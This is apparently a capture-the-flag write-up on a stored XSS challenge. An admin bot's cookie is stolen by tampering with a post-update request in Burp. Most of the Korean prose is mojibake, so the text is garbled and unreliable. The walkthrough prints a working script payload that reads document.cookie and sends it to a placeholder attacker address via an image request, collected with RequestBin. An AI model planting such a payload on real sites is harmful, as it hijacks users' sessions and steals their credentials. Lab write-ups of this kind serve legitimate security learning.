[SegFault] (XSS)
XSS 5
๊ด๋ฆฌ์์ Cookie๋ฅผ ํ์ทจํ์ธ์!
๋ฌธ์ ํ์
๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ XSS์ ์ทจ์ฝ์ ์ ์ฐพ๊ณ , ๊ด๋ฆฌ์ Bot์ ํด๋น ๋งํฌ๋ฅผ ์ ๋ ฅํ์ฌ ๊ณต๊ฒฉ์ ์๋ฒ๋ก Cookie ๊ฐ์ ํ์ทจํ์ฌ ๋ฐ์ผ๋ฉด Flag๋ฅผ ํ๋ํ ์ ์๋ ๋ฐฉ์์ผ๋ก ์ด๋ฃจ์ด์ ธ ์๋ค.
ํ์ง๋ง ํ์ฌ ๊ณต๊ฒฉ์ ์๋ฒ๋ฅผ ๊ฐ๊ณ ์์ง ์์ผ๋ฏ๋ก RequestBin์ ์ด์ฉํ๊ธฐ๋ก ํ๋ค.
์ฐ์ ์์ [๊ด๋ฆฌ์ ๋ฐฉ๋ฌธ Bot Link]์ ์ ์ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ URL ์ ๋ ฅ์ฐฝ์ ๋ณผ ์ ์๋ค.
XSS ์ทจ์ฝ์ ์ ๋ฐ๊ฒฌํ๊ณ ํด๋น ๋งํฌ๋ฅผ ์์ URL์ ์ ๋ ฅํ๋ฉด ๊ณต๊ฒฉ์ ์๋ฒ(RequestBin)๋ก ์ฟ ํค ๊ฐ์ด ๋ ์์ค๋ ๋ฐฉ์์ด๋ค.
์ด์ ์๋์ ๋ฌธ์ ๋งํฌ์ ์ ์ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ ์ฐฝ์ด ๋์จ๋ค.
์ฐ์ ํ์๊ฐ์ ํ ๋ก๊ทธ์ธ์ ์๋ํด๋ณธ๋ค.
๋ง์ดํ์ด์ง์์๋ XSS ์ทจ์ฝ์ ์ด ๋ฐ๊ฒฌ๋์ง ์์ ๊ณต์ง์ฌํญ์ ํ์ธํด๋ณธ๋ค.
์ฐ์ ๊ธ์ฐ๊ธฐ ๊ธฐ๋ฅ์ ํ์ธํด๋ณธ๋ค.
< ' " >
๊ธ์ฐ๊ธฐ ๊ธฐ๋ฅ์ ์คํฌ๋ฆฝํธ์ ์ํฅ์ ์ค ์ ์๋ ํน์๋ฌธ์ < ' " >์ ๋ํ์ฌ ํ์ธํด๋ณธ๋ค.
๊ทธ ๊ฒฐ๊ณผ ์์ ๊ฐ์ด ์ ๋ชฉ๊ณผ ๋ด์ฉ ๋ชจ๋์์ HTML Entity๊ฐ ์ ์ฉ๋์ด ์๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
XSS Point
๊ธ์ฐ๊ธฐ ๊ธฐ๋ฅ์์๋ XSS๋ฅผ ๋ฐฉ์งํ๊ธฐ ์ํด HTML Entity ๋ก์ ์นํ์ด ๋๊ณ ์๋ค.๊ธ์ ์์ ๊ธฐ๋ฅ์ ํ์ธํด ๋ณธ๋ค.
๊ธ์ ์์ ๊ณผ์ (update_process)์์ Burp๋ฅผ ์ด์ฉํ์ฌ ๋ณ์กฐํ์ฌ ๋ฃ์ด์ค๋ค.
๊ทธ ํ ํด๋น ๊ธ์ ์ ๊ทผํด๋ณธ ๊ฒฐ๊ณผ ๊ธ ์์ ๊ณผ์ ์ ์ด์ฉํ๋ฉด ์ด๋ฅผ ์ฐํํ ์ ์๋ค๋ ๊ฒ์ ๋ฐ๊ฒฌํ์๋ค.
(ํ์ธํด๋ณธ ๊ฒฐ๊ณผ ๊ธ ์์ฑ ๊ณผ์ ์์๋ ์น ํ๋ก์ ํด(Burp)๋ฅผ ์ด์ฉํ์ฌ ๋ณ์กฐํด์ฃผ๋ฉด ์ฐํ๊ฐ ๊ฐ๋ฅํ์๋ค.)
์ ๋ชฉ ๋ถ๋ถ์ ๋ํด์๋ ๊ทธ๋๋ก HTML Entity๊ฐ ์ ์ฉ๋์ง๋ง, ๊ธ์ ๋ด์ฉ ๋ถ๋ถ์ HTML Entity๊ฐ ์ ์ฉ๋์ง ์์ ์์ ํ์ฌ ์ ๋ ฅํ ๊ฐ์ด ๊ทธ๋๋ก ์ถ๋ ฅ๋์ด ์๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
ํ์ด ๊ณผ์ (ํด๊ฒฐ ๋ฐฉ์)
XSS ์ทจ์ฝ์ ์ด ๋ฐ๊ฒฌ๋์์ผ๋ฏ๋ก ์ฝ์ ํ ํ์ด๋ก๋(Payload)๋ฅผ ์์ฑํ๋ค.
ํ์ด๋ก๋ (Payload)
<script>
var cookieData = document.cookie;
var i = new Image();
i.src = "https://๊ณต๊ฒฉ์ ์ฃผ์/?cookie="+cookieData;
</script>
์คํฌ๋ฆฝํธ ์ฝ์
์์ ํ์ด๋ก๋๋ฅผ ๊ธ์ฐ๊ธฐ ๊ธฐ๋ฅ, ๊ธ ์์ ๊ธฐ๋ฅ์์ ๋ด์ฉ ๋ถ๋ถ์ ์ฝ์ ํ๋ ๊ฒฝ์ฐ HTML Entity๊ฐ ์ ์ฉ๋๋ค.
ํ์ง๋ง DB ๊ธ์ ์ฝ์ ํ๋ ๊ณผ์ , ์ฆ ๊ธ์ฐ๊ธฐ ๊ณผ์ (write_process), ๊ธ ์์ ๊ณผ์ (update_process)์์ ์ง์ ์ ์ผ๋ก ๋ณ์กฐํ๋ ๊ฒฝ์ฐ ์ฐํ๊ฐ ๊ฐ๋ฅํ๋ค.
์์ ๊ณผ์ ํ ํด๋น ๊ธ์ ์ฝ๊ธฐ ์ํด ์ ๊ทผํ๋ ๊ฒฝ์ฐ ๋ด์ฉ ๋ถ๋ถ์ ์คํฌ๋ฆฝํธ๊ฐ ํ์ฑํ ๋์ด ํ๋ฉด์๋ ๋ด์ฉ์ด ์ถ๋ ฅ๋์ง ์์ง๋ง ์ ์ฅ๋์ด ์๋ ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
ํด๋น ๊ธ์ URL์ ๊ด๋ฆฌ์ Bot์ ๋ณด๋ด์ค๋ค.
ํ์ทจ๋ ์ฟ ํค(Cookie)๊ฐ ๊ณต๊ฒฉ์์ ์ฃผ์(RequestBin)์ผ๋ก ๋ฐ์์์ง๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์์ ๊ฐ์ด ํด๋น ๊ธ์ ์ ๊ทผํ์ฌ ์คํฌ๋ฆฝํธ๊ฐ ํ์ฑํ ๋์ด ์ํ๋ flag๊ฐ ํ๋๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์ทจ์ฝ์ ์ ๊ดํ ๊ณ ์ฐฐ
๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ ์ผ๋ฐ์ ์ธ ๋ฐฉ์์ ๊ธ์ฐ๊ธฐ, ๊ธ ์์ ๊ธฐ๋ฅ์์๋ HTML Entity๊ฐ ์ ์ฉ๋์ด ์์ง๋ง, ํด๋น ๊ธ์ด ์ฝ์ ๋๋ ๊ณผ์ (process)์์ ๋ณ์กฐ๋ฅผ ํ๋ ๊ฒฝ์ฐ, HTML Entity๋ก์ ๋ณํ์ ๋ํ ์ฐํ๊ฐ ๊ฐ๋ฅํ ์ ์ ์ด์ฉํ๋ค.
ํด๋ผ์ด์ธํธ ์ธก ํ์ธ(Client Check)์ ํ์ง ์์ ์๊ธด ์ทจ์ฝ์ ์ด๋ค.
์์ ์ฐํ ๋ฐฉ๋ฒ์ ํตํด ์๋ต(Response)์ ์์ฑ๋์ด ์๋ ๋ด์ฉ์ด ๊ทธ๋๋ก ์ถ๋ ฅ๋๋ ์ ์ ์ด์ฉํ Stored XSS ์ทจ์ฝ์ ์ด๋ค.
์์ฒญ(Request)๊ฐ์ ์ง์ ์ ์ผ๋ก ์์ ํ์ฌ ๋ฃ๋๋ผ๋ HTML Entity๋ก์ ๋ณํ ๊ณผ์ ์ ๊ฑด๋๋ฐ์ง ๋ชปํ๋๋ก, ๋ณํ์ ์งํํ๋ ์์น์ ๋ํ์ฌ ์๊ฐํด์ผ ํ๋ค.
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์